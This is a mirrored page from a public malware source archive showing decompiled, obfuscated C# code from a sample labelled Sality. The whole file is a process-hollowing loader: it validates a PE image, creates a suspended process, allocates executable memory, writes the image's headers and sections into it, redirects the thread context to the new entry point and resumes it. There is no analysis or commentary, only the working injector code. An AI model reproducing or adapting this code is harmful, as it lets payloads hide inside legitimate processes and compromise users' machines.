mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
f2ac1ece55
add
292 lines
10 KiB
C#
292 lines
10 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
|
||
|
||
using \u0006;
|
||
using \u0007;
|
||
using \u0008;
|
||
using SmartAssembly.SmartExceptionsCore;
|
||
using System;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0006
|
||
{
|
||
internal sealed class \u0006 : \u0001
|
||
{
|
||
private \u0006.\u0006.\u0006 \u0001;
|
||
private \u0006.\u0006.\u0005 \u0001;
|
||
private \u0006.\u0006.\u0001 \u0001;
|
||
private \u0006.\u0006.\u0004 \u0001;
|
||
private \u0006.\u0006.\u0002 \u0001;
|
||
private \u0006.\u0006.\u0003 \u0001;
|
||
private \u0006.\u0006.\u0007 \u0001;
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public \u0006()
|
||
{
|
||
\u0003.\u0003();
|
||
// ISSUE: explicit constructor call
|
||
base.\u002Ector();
|
||
object[] objArray1;
|
||
object[] objArray2;
|
||
object[] objArray3;
|
||
object[] objArray4;
|
||
object[] objArray5;
|
||
object[] objArray6;
|
||
object[] objArray7;
|
||
try
|
||
{
|
||
\u0005.\u0001 = (\u0001) new \u0001();
|
||
\u0001 obj1 = \u0005.\u0001;
|
||
objArray1 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(0),
|
||
(object) \u0002.\u0003(20),
|
||
(object) typeof (\u0006.\u0006.\u0006)
|
||
};
|
||
object[] objArray8 = objArray1;
|
||
this.\u0001 = (\u0006.\u0006.\u0006) obj1.\u0003(objArray8);
|
||
\u0001 obj2 = \u0005.\u0001;
|
||
objArray2 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(52),
|
||
(object) \u0002.\u0003(72),
|
||
(object) typeof (\u0006.\u0006.\u0005)
|
||
};
|
||
object[] objArray9 = objArray2;
|
||
this.\u0001 = (\u0006.\u0006.\u0005) obj2.\u0003(objArray9);
|
||
\u0001 obj3 = \u0005.\u0001;
|
||
objArray3 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(104),
|
||
(object) \u0002.\u0003(118),
|
||
(object) typeof (\u0006.\u0006.\u0001)
|
||
};
|
||
object[] objArray10 = objArray3;
|
||
this.\u0001 = (\u0006.\u0006.\u0001) obj3.\u0003(objArray10);
|
||
\u0001 obj4 = \u0005.\u0001;
|
||
objArray4 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(162),
|
||
(object) \u0002.\u0003(176),
|
||
(object) typeof (\u0006.\u0006.\u0004)
|
||
};
|
||
object[] objArray11 = objArray4;
|
||
this.\u0001 = (\u0006.\u0006.\u0004) obj4.\u0003(objArray11);
|
||
\u0001 obj5 = \u0005.\u0001;
|
||
objArray5 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(220),
|
||
(object) \u0002.\u0003(234),
|
||
(object) typeof (\u0006.\u0006.\u0002)
|
||
};
|
||
object[] objArray12 = objArray5;
|
||
this.\u0001 = (\u0006.\u0006.\u0002) obj5.\u0003(objArray12);
|
||
\u0001 obj6 = \u0005.\u0001;
|
||
objArray6 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(274),
|
||
(object) \u0002.\u0003(288),
|
||
(object) typeof (\u0006.\u0006.\u0003)
|
||
};
|
||
object[] objArray13 = objArray6;
|
||
this.\u0001 = (\u0006.\u0006.\u0003) obj6.\u0003(objArray13);
|
||
\u0001 obj7 = \u0005.\u0001;
|
||
objArray7 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(328),
|
||
(object) \u0002.\u0003(342),
|
||
(object) typeof (\u0006.\u0006.\u0007)
|
||
};
|
||
object[] objArray14 = objArray7;
|
||
this.\u0001 = (\u0006.\u0006.\u0007) obj7.\u0003(objArray14);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object[] objArray15 = objArray1;
|
||
object[] objArray16 = objArray2;
|
||
object[] objArray17 = objArray3;
|
||
object[] objArray18 = objArray4;
|
||
object[] objArray19 = objArray5;
|
||
object[] objArray20 = objArray6;
|
||
object[] objArray21 = objArray7;
|
||
throw UnhandledException.\u0003(ex, (object) objArray15, (object) objArray16, (object) objArray17, (object) objArray18, (object) objArray19, (object) objArray20, (object) objArray21, (object) this);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public override unsafe object \u0003([In] object[] obj0)
|
||
{
|
||
byte[] numArray1;
|
||
int[] numArray2;
|
||
byte[] dst1;
|
||
byte[] dst2;
|
||
byte[] dst3;
|
||
char ch;
|
||
string str;
|
||
int srcOffset;
|
||
int num1;
|
||
ushort num2;
|
||
try
|
||
{
|
||
dst1 = new byte[64];
|
||
dst2 = new byte[248];
|
||
dst3 = new byte[40];
|
||
numArray1 = new byte[716];
|
||
numArray2 = new int[4];
|
||
fixed (byte* numPtr = &dst1[0])
|
||
;
|
||
fixed (byte* numPtr = &dst2[0])
|
||
;
|
||
fixed (byte* numPtr = &dst3[0])
|
||
;
|
||
fixed (byte* numPtr = &numArray1[0])
|
||
;
|
||
ch = Convert.ToChar(32);
|
||
str = string.Join(ch.ToString(), (string[]) obj0[1]);
|
||
// ISSUE: fixed variable is out of scope
|
||
*(int*) numPtr = 65543;
|
||
Buffer.BlockCopy((Array) obj0[0], 0, (Array) dst1, 0, dst1.Length);
|
||
// ISSUE: fixed variable is out of scope
|
||
srcOffset = *(int*) (numPtr + 60);
|
||
Buffer.BlockCopy((Array) obj0[0], srcOffset, (Array) dst2, 0, dst2.Length);
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
if (*(uint*) numPtr != 17744U || *(ushort*) numPtr != (ushort) 23117)
|
||
return (object) null;
|
||
// ISSUE: fixed variable is out of scope
|
||
num1 = *(int*) (numPtr + 52);
|
||
if (!this.\u0001((string) obj0[2], str, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, new byte[68], numArray2))
|
||
return (object) null;
|
||
int num3 = (int) this.\u0001((IntPtr) numArray2[0], (IntPtr) num1);
|
||
// ISSUE: fixed variable is out of scope
|
||
if (this.\u0001((IntPtr) numArray2[0], (IntPtr) num1, *(uint*) (numPtr + 80), 12288U, 64U) == IntPtr.Zero)
|
||
base.\u0003(obj0);
|
||
fixed (byte* numPtr = &((byte[]) obj0[0])[0])
|
||
{
|
||
// ISSUE: fixed variable is out of scope
|
||
int num4 = this.\u0001((IntPtr) numArray2[0], (IntPtr) num1, (IntPtr) (void*) numPtr, *(uint*) (numPtr + 84), IntPtr.Zero);
|
||
}
|
||
// ISSUE: fixed variable is out of scope
|
||
for (num2 = (ushort) 0; (int) num2 < (int) *(ushort*) (numPtr + 6); ++num2)
|
||
{
|
||
Buffer.BlockCopy((Array) obj0[0], srcOffset + dst2.Length + dst3.Length * (int) num2, (Array) dst3, 0, dst3.Length);
|
||
// ISSUE: fixed variable is out of scope
|
||
fixed (byte* numPtr = &((byte[]) obj0[0])[(IntPtr) *(uint*) (numPtr + 20)])
|
||
{
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
int num5 = this.\u0001((IntPtr) numArray2[0], (IntPtr) ((long) num1 + (long) *(uint*) (numPtr + 12)), (IntPtr) (void*) numPtr, *(uint*) (numPtr + 16), IntPtr.Zero);
|
||
}
|
||
}
|
||
// ISSUE: fixed variable is out of scope
|
||
int num6 = this.\u0001((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
|
||
fixed (byte* numPtr = &BitConverter.GetBytes(num1)[0])
|
||
{
|
||
// ISSUE: fixed variable is out of scope
|
||
int num7 = this.\u0001((IntPtr) numArray2[0], (IntPtr) (long) (*(uint*) (numPtr + 164) + 8U), (IntPtr) (void*) numPtr, 4U, IntPtr.Zero);
|
||
}
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
*(int*) (numPtr + 176) = num1 + (int) *(uint*) (numPtr + 40);
|
||
// ISSUE: fixed variable is out of scope
|
||
int num8 = this.\u0001((IntPtr) numArray2[1], (IntPtr) (void*) numPtr);
|
||
int num9 = (int) this.\u0001((IntPtr) numArray2[1], IntPtr.Zero);
|
||
return (object) null;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: fixed variable is out of scope
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
// ISSUE: cast to a reference type
|
||
// ISSUE: explicit reference operation
|
||
object[] objArray = new object[23]
|
||
{
|
||
(object) dst1,
|
||
(object) dst2,
|
||
(object) dst3,
|
||
(object) numArray1,
|
||
(object) numArray2,
|
||
(object) (int) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) (int) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) (int) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) (int) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) str,
|
||
(object) srcOffset,
|
||
(object) num1,
|
||
(object) ^(byte&) numPtr,
|
||
(object) num2,
|
||
(object) ^(byte&) numPtr,
|
||
(object) ^(byte&) numPtr,
|
||
(object) ch,
|
||
(object) this,
|
||
(object) obj0
|
||
};
|
||
throw UnhandledException.\u0003(ex, objArray);
|
||
}
|
||
}
|
||
|
||
private delegate uint \u0001(IntPtr _param1, IntPtr _param2);
|
||
|
||
private delegate int \u0002(IntPtr _param1, IntPtr _param2);
|
||
|
||
private delegate int \u0003(IntPtr _param1, IntPtr _param2);
|
||
|
||
private delegate int \u0004(
|
||
IntPtr _param1,
|
||
IntPtr _param2,
|
||
IntPtr _param3,
|
||
uint _param4,
|
||
IntPtr _param5);
|
||
|
||
private delegate IntPtr \u0005(
|
||
IntPtr _param1,
|
||
IntPtr _param2,
|
||
uint _param3,
|
||
uint _param4,
|
||
uint _param5);
|
||
|
||
private delegate bool \u0006(
|
||
string _param1,
|
||
string _param2,
|
||
IntPtr _param3,
|
||
IntPtr _param4,
|
||
bool _param5,
|
||
uint _param6,
|
||
IntPtr _param7,
|
||
string _param8,
|
||
byte[] _param9,
|
||
int[] _param10);
|
||
|
||
private delegate uint \u0007(IntPtr _param1, IntPtr _param2);
|
||
}
|
||
}
|